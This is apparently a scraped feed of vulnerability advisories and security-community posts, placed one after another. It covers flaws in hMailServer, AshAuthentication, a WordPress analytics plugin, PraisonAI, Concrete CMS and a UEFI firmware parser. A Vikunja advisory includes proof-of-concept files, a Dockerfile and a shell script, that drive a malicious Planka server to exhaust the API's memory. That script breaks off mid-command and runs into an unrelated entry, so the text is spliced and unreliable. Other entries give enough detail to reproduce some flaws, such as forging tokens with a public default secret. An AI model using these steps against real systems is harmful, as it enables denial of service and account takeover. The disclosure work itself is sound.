answer-me-with-html versions up to 0.5.0 have a link following vulnerability in the am CLI code block src embedding. The localPath() function does not resolve symbolic links, allowing attackers to include symlinks pointing outside the repository. This can cause external files to be embedded into generated HTML and disclosed when shared. The vulnerability has a low CVSS score and no known exploits in the wild.
Heap-based buffer overflow in the legacy Blowfish encryption routine (BlowFishEncryptor::Encode, called by EncryptToString) in Progressive Robot hMailServer 6.0.0 through 6.3.5 allows an authenticated mailbox user to cause a denial of service (service crash), and possibly other unspecified impact. In 6.3.4 and 6.3.5, where the self-service REST API is enabled (it is off by default), the user does this remotely by adding a fetch account whose password is 129 to 247 characters long and not a multiple of 8, and then requesting their personal data export (GET /api/v1/me/export.zip), which encrypts that password with the legacy scheme. The same flaw is reachable on Windows by any local interactive user with no hMailServer credentials, through the COM method Utilities.BlowfishEncrypt, which checked no authentication. It is also reachable by every stored-secret write when ProtectStoredSecretsWithDPAPI is set to 0. For such a length, the routine's padding loop writes up to 7 zero bytes 2 to 232 bytes past the end of its 255-byte heap buffer. The ciphertext it returns is still correct.
The Apache Thrift Java ME TJsonProtocol/TJSONProtocol components have a vulnerability related to the absence of a string size bound. This issue is identified as CWE-770, which involves allocation of resources without limits. The vulnerability affects versions 3.0 and 4.0 of the product. No CVSS score or detailed impact information is provided, and no patch or remediation guidance is currently available.
This content is an invitation to a Reddit Ask Me Anything (AMA) session hosted by IBM Security experts Jeff Crume and Guido Crucq. They discuss cybersecurity trends and findings from the Cost of a Data Breach Report, which analyzes real-world data breaches. No specific vulnerability, exploit, or active breach details are provided.
The Burst Statistics – Simple WordPress Analytics (Google Analytics Alternative) plugin for WordPress is vulnerable to Improper Authentication leading to Account Persistence in all versions up to, and including, 3.7.1. This is due to the `maybe_load_shared_dashboard()` handler issuing a genuine WordPress session cookie for the `burst_statistics_viewer` account to any visitor presenting a valid share token via `wp_set_auth_cookie()`, while the plugin only blocks Application Passwords for the resulting `burst_viewer` role and does not restrict the core `/wp-json/wp/v2/users/me` password update endpoint or filter the `edit_user` capability for that account — leaving WordPress core's built-in rule that any authenticated user may update their own account fully in effect. This makes it possible for unauthenticated attackers to set an attacker-chosen password on the `burst_statistics_viewer` WordPress account, constituting a permanent takeover of that limited-privilege (`view_burst_statistics`) account that persists through share-token revocation, share-token expiration, and execution of the plugin's daily `cleanup_viewer_sessions()` routine. Exploitation requires that the attacker have obtained a valid `burst_share_token`, such as one that has been shared publicly or distributed to an untrusted party.
CVE-2026-85493 is a high-severity vulnerability in Apache Thrift affecting versions before 0.25.0. It involves uncontrolled recursion in the Dart and Java ME bindings, which can lead to a denial of service or other impacts. The issue is fixed in version 0.25.0, and users are advised to upgrade to this version.
This content is an Ask Me Anything (AMA) session hosted by experienced Chief Information Security Officers (CISOs) aimed at helping cybersecurity professionals advance their careers. It focuses on career growth, leadership, and team building within the cybersecurity field. There is no indication of any security threat, vulnerability, or exploit associated with this content.
Microsoft Security Research published an interesting blog post "TerminalFix campaign deploys a reverse tunnel through multistage intrusion" about a malware campaign. The aspect that I want to take a closer look at, is the fact that the threat actors used PNG files with steganography. I reached out to the researchers and they kindly shared the IOCs for the PNG files with me.
The URL 'oast.me' has been observed in attacker activity as an out-of-band callback or command-and-control (C2) endpoint. This activity was detected by OffSeq Mirage honeypot sensors four times between September 20, 2026, and October 3, 2026. The observed technique corresponds to MITRE ATT&CK T1071, which involves using application layer protocols for command and control. The attacker infrastructure was identified as originating from Lithuania (LT). Organizations are advised to block and monitor this URL and search their proxy, web, and WAF logs for any requests to it.
CVE-2026-76949 is an authentication bypass vulnerability in the team-alembic ash_authentication library. It allows an attacker who can plant a remember-me cookie in a victim's browser to replace the victim's authenticated session with the attacker's session. This occurs due to inconsistent session key handling in the remember-me sign-in logic, causing the system to honor the attacker's cookie even when the victim has an active authenticated session. The vulnerability affects versions from 4.10.0 up to but not including 4.15.0, and from 5.0.0-rc.0 up to but not including 5.0.0-rc.14.
Improper Authentication vulnerability in team-alembic AshAuthentication allows an attacker holding a sign-in token for one authenticated resource to be signed in as a user of a different resource.
AshAuthentication.Strategy.Password.SignInWithTokenPreparation.extract_primary_keys_from_subject/2 parses the JWT sub claim (for example user?id=1) with URI.parse/1 and keeps only its query string, discarding the path segment that names the subject the token was issued for. Nothing else restores that binding: AshAuthentication.Jwt.verify/3 checks the signature, exp, nbf, jti and the library-version claims, the purpose check only requires sign_in, and the remaining comparison is over primary-key field names, which are identical across resources. The WebAuthn sign-in and remember-me preparations carry copies of the same helper and drop the path in the same way. The magic link sign-in path pins the subject name against the resource and is not affected.
This issue affects ash_authentication: from 3.10.5 before 4.15.0 and from 5.0.0-rc.0 before 5.0.0-rc.14.
# Planka migration retains an unbounded aggregate of attacker-served attachments and can OOM the API
## Summary
The always-registered Planka migration lets any ordinary user select a Planka server. Although Vikunja caps each JSON response, pagination loop, and attachment independently, it has no aggregate job budget. The conversion stage downloads every advertised non-link attachment and keeps every byte slice live until the complete hierarchy is inserted. A public attacker server can therefore drive memory beyond any finite service allocation. The final Docker run preserved default SSRF policy and OOM-killed the healthy API after five individually valid 20 MiB attachment responses.
## Impact and affected scope
- **Type:** Resource Exhaustion Dos
- **Affected component:** POST /api/v2/migration/planka/migrate; Asynchronous migration.requested worker for the Planka migrator
- **Preconditions:** A low-privilege Vikunja user supplies an attacker-operated public Planka URL and token. That server controls project/board/card/attachment counts and streams each attachment body at or below Vikunja's normal per-file limit.
- **Verified revision:** `d66ef3d1a39c6f7289593059a1a34afd1d059260` on 28 August 2026
- **Affected release range:** `> 2.5.0` for the tested post-2.5.0 main branch; no released build was independently reproduced
A low-privilege remote user operating a public HTTP server can terminate the shared Vikunja process and make the API unavailable with one migration submission.
## Technical details
Planka conversion downloads each non-link attachment into a bytes.Buffer and assigns buf.Bytes() to the in-memory task attachment. Every allocation remains reachable in the hierarchy until all remote data has been fetched and InsertFromStructure begins. Per-response, per-page, and per-file limits do not cap the sum.
Attack path: Authenticated migration request -> synchronous attacker-server credential probe -> asynchronous Migrate with no request deadline -> fetch attacker project/board metadata -> loop attacker attachment list -> individually size-limited downloads -> retain all FileContent slices -> process/container OOM and API termination
Relevant code:
- `pkg/routes/api/v2/migration_credentials.go:35`
- `pkg/routes/api/v2/migration_shared.go:73`
- `pkg/routes/api/v2/migration_shared.go:95`
- `pkg/modules/migration/planka/client.go:37`
- `pkg/modules/migration/planka/client.go:356`
- `pkg/modules/migration/planka/fetch.go:29`
- `pkg/modules/migration/planka/fetch.go:32`
- `pkg/modules/migration/planka/convert.go:275`
- `pkg/modules/migration/planka/convert.go:280`
- `pkg/modules/migration/planka/convert.go:293`
- `pkg/modules/migration/planka/planka.go:86`
- `pkg/modules/migration/planka/planka.go:100`
## Reproduction
Run this only against an authorized disposable environment. The complete verified minimum file set is reproduced below. It starts the isolated target, runs the security-relevant trigger, verifies an objective target/application signal, and exercises the available negative or sibling control.
Create `reproduction/Dockerfile`:
```text
FROM golang:1.27-bookworm AS builder
WORKDIR /src
COPY --from=target . .
RUN mkdir -p frontend/dist \
&& printf '<!doctype html><title>PoC</title>' > frontend/dist/index.html \
&& go build -o /out/vikunja .
FROM golang:1.27-bookworm
RUN apt-get update \
&& apt-get install -y --no-install-recommends ca-certificates curl python3 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --from=builder /out/vikunja /app/vikunja
COPY . /app
RUN chmod +x /app/verify.sh
```
Create `reproduction/verify.sh`:
```sh
#!/usr/bin/env bash
set -euo pipefail
test -d /target-repo
test "$(git -C /target-repo rev-parse HEAD)" = "d66ef3d1a39c6f7289593059a1a34afd1d059260"
test -z "${VIKUNJA_OUTGOINGREQUESTS_ALLOWNONROUTABLEIPS:-}"
mkdir -p /work/files /work/logs
export VIKUNJA_DATABASE_TYPE=sqlite
export VIKUNJA_DATABASE_PATH=/work/vikunja.db
export VIKUNJA_FILES_BASEPATH=/work/files
export VIKUNJA_LOG_PATH=/work/logs
export VIKUNJA_SERVICE_ROOTPATH=/work
export VIKUNJA_SERVICE_INTERFACE=0.0.0.0:3456
export VIKUNJA_SERVICE_PUBLICURL=http://127.0.0.1:3456/
export VIKUNJA_SERVICE_FRONTENDURL=http://127.0.0.1:3456/
python3 /app/malicious_planka.py > /work/planka.log 2>&1 &
PLANKA_PID=$!
/app/vikunja > /work/vikunja.log 2>&1 &
VIKUNJA_PID=$!
cleanup() {
if kill -0 "${VIKUNJA_PID}" 2>/dev/null; then
kill "${VIKUNJA_PID}" 2>/dev/null || true
wait "${VIKUNJA_PID}" 2>/dev/null || true
fi
if kill -0 "${PLANKA_PID}" 2>/dev/null; then
kill "${PLANKA_PID}" 2>/dev/null || true
wait "${PLANKA_PID}" 2>/dev/null || true
fi
}
trap cleanup EXIT
for _ in $(seq 1 90); do
if curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null 2>&1 \
&& curl -fsS http://93.184.216.34:18080/api/users/me > /dev/null 2>&1; then
break
fi
sleep 1
done
curl -fsS http://127.0.0.1:3456/api/v2/health > /dev/null
curl -fsS http://93.184.216.34:18080/api/user
PraisonAI is a multi-agent teams system. Prior to 0.1.6, praisonai_platform/services/auth_service.py assigns the public dev-secret-change-me value to JWT_SECRET when PLATFORM_JWT_SECRET is unset, and its production guard does not run when PLATFORM_ENV is also unset because that setting defaults to dev. A remote unauthenticated attacker can mint an HS256 token with an arbitrary sub and email, and the platform's AuthService._verify_token() and get_current_user dependency accept the forged identity for protected API routes. This vulnerability is fixed in praisonai-platform 0.1.6.
Concrete CMS 8.3.0 to 9.5.2 stored calendar event names without sanitization and rendered them without HTML escaping in the workflow approval and deletion notifications shown in the dashboard "Waiting For Me" block. A registered user permitted to add events to a calendar governed by an approval workflow could submit an event whose name contained a script payload, which then executed in an administrator's browser when the pending request was displayed and could be used to create a new administrator account. The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 7.3 with vector CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. Thanks v01demort for reporting.
UEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, and files. Prior to 1.14, ReadCLen() in uefi_firmware/compression/Tiano/Decompress.c reads Number from GetBits(Sd, CBIT) with CBIT = 9 and can obtain 511 entries for the 510-element Sd->mCLen heap array because its loop does not enforce Index < NC. The CharC == 2 run-length path can additionally request up to 531 zero writes through Sd->mCLen[Index++] = 0. The normal CompressedSection.process() to efi_compressor.TianoDecompress() to TianoDecompress() to DecodeC() to ReadCLen() parsing path therefore permits crafted Tiano or EFI compressed firmware to corrupt heap memory, deterministically crash the parsing process, and potentially execute code depending on build and runtime details. This issue is fixed in version 1.14.
UEFI Firmware Parser parses BIOS, Intel ME, and UEFI firmware structures including volumes, file systems, and files. Prior to 1.14, MakeTable() in uefi_firmware/compression/Tiano/Decompress.c does not validate that bit-length values read from a crafted Tiano or EFI compressed firmware bitstream remain within the expected range from 0 through 16. The normal CompressedSection.process() to efi_compressor.TianoDecompress() to TianoDecompress() to ReadPTLen() to MakeTable() parsing path can consequently write beyond the stack-allocated Count[17] array and related decode tables. The resulting stack corruption deterministically crashes the parsing process and may permit code execution depending on build and runtime details. This issue is fixed in version 1.14.
This content is an Ask Me Anything (AMA) session hosted by Larry Pesce, a cybersecurity expert with over 20 years of experience in IoT, wireless hacking, and software supply chain security. The post is an invitation for the community to ask questions about various security topics, including hardware and firmware hacking, wireless security, supply chain security, and regulatory compliance. It does not describe a specific vulnerability, exploit, or active threat.
XING CPTrans-ME-X contains an Exposure of Sensitive System Information to an Unauthorized Control Sphere (CWE-497). Sensitive system information may be leaked.